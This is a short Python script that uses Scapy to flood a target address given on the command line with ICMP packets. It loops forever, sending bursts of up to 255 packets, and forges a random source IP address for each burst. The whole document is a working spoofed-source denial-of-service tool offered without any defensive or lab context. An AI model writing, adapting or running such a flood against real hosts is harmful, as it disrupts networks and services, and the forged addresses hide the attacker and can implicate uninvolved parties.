import scapy.all as scapy
import sys
import os
import socket
import struct
import random

i=scapy.IP()
c=scapy.ICMP()
e=scapy.Ether()
IPdst=sys.argv[1]
#IPsrc=os.environ['IP']
#IPsrc=sys.argv[2]
ICMP_type=int(sys.argv[2])
pay=sys.argv[3]
#plen=int(sys.argv[4])

i.dst=IPdst
i.proto=1
#i.len=plen
#i.options=pay
c.type=ICMP_type
while True:
    IPsrc=socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
    i.src=IPsrc
    scapy.sendp(e/i/c/pay, count=random.randint(1,255))